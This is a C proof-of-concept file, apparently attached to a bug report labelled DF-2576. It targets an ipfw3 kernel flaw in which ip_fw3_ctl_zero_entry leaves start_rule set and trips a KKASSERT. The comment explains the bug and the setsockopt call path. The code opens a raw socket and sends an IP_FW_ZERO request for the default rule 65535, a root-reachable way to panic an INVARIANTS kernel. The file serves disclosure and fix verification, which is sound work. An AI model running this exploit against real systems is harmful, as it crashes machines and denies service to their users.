DF-2576 / poc.c
/* * DF-2576 PoC — ip_fw3_ctl_zero_entry KKASSERT(start_rule==NULL) panic. * * Bug (sys/net/ipfw3/ip_fw3.c ip_fw3_ctl_zero_entry, :904-944): * When the caller passes a non-zero rulenum that matches an existing rule, * line 932 sets zmsg.start_rule = rule; then netisr_domsg() runs * ip_fw3_zero_entry_dispatch() (:876) on every CPU. The dispatch NEVER * clears zmsg->start_rule (it only touches zmsg->rulenum / log_only). So * after netisr_domsg() returns, the unconditional assertion at :939 * * 939: KKASSERT(zmsg.start_rule == NULL); * * fires on every INVARIANTS-enabled kernel (default X86_64_GENERIC ships * options INVARIANTS), panicking the system. ipfw3_zero_entry_dispatch is * simply missing the zmsg->start_rule = NULL; cleanup. * * Reach: * setsockopt(SOCK_RAW, IPPROTO_IP, IP_FW_X=49, payload) where * payload = ip_fw_x_header{opcode=53(IP_FW_ZERO), pad=0} ++ int rulenum * -> rip_ctloutput -> ip_fw3_sockopt -> ip_fw3_ctl(IP_FW_X) -> * ip_fw3_ctl_x strips the 4-byte header, sets sopt_name=53 -> * ip_fw3_ctl_sockopt case IP_FW_ZERO (:1158) -> ip_fw3_ctl_zero_entry. * * The default rule (rulenum IPFW_DEFAULT_RULE = 65535, ip_fw3.h:87) is * ALWAYS present in ctx->rules (ctx_init_dispatch, :1432-1433), so zeroing * rule 65535 needs NO prior rule to be added. * * Privilege: * Creating a raw IP socket requires caps_priv_check(SYSCAP_NONET_RAW) * (root). This is therefore a root-reachable deterministic DoS panic on * the default INVARIANTS kernel. (kldload ipfw3 also needs root.) * * Build: cc -o poc poc.c * Run (root, after `kldload ipfw3 ipfw3_basic`): ./poc * expected on default kernel: KKASSERT panic ("zmsg.start_rule == NULL") * expected on fixed kernel: setsockopt returns 0, no panic. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #ifndef IP_FW_X #define IP_FW_X 49 /* netinet/in.h */ #endif #define OP_ZERO 53 /* IP_FW_ZERO (ip_fw3.h / in.h) */ #define DEFAULT_RULE 65535 /* IPFW_DEFAULT_RULE (ip_fw3.h:87) */ struct ip_fw_x_header { uint16_t opcode; uint16_t _pad; }; int main(int argc, char **argv) { int rulenum = (argc > 1) ? atoi(argv[1]) : DEFAULT_RULE; int s, rc; /* payload = 4-byte x_header + 4-byte int rulenum */ unsigned char buf[sizeof(struct ip_fw_x_header) + sizeof(int)]; struct ip_fw_x_header *xh = (struct ip_fw_x_header *)buf; int *rp = (int *)(buf + sizeof(*xh)); printf("[*] DF-2576 ip_fw3_ctl_zero_entry KKASSERT panic\n"); printf("[*] opcode=OP_ZERO(%d) rulenum=%d (default rule, always in ctx->rules)\n", OP_ZERO, rulenum); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("[-] socket(AF_INET,SOCK_RAW,IPPROTO_RAW)"); printf("[-] raw socket requires root (SYSCAP_NONET_RAW). errno=%d\n", errno); return 2; } printf("[+] raw socket opened fd=%d\n", s); memset(buf, 0, sizeof(buf)); xh->opcode = OP_ZERO; xh->_pad = 0; *rp = rulenum; printf("[*] setsockopt(IPPROTO_IP, IP_FW_X=%d, opcode=ZERO, rulenum=%d) ...\n", IP_FW_X, rulenum); fflush(stdout); rc = setsockopt(s, IPPROTO_IP, IP_FW_X, buf, sizeof(buf)); if (rc < 0) printf("[~] setsockopt rc=%d errno=%d (%s)\n", rc, errno, strerror(errno)); else printf("[!] setsockopt rc=%d (returned cleanly -> KKASSERT did NOT fire / FIXED kernel)\n", rc); close(s); return 0; } |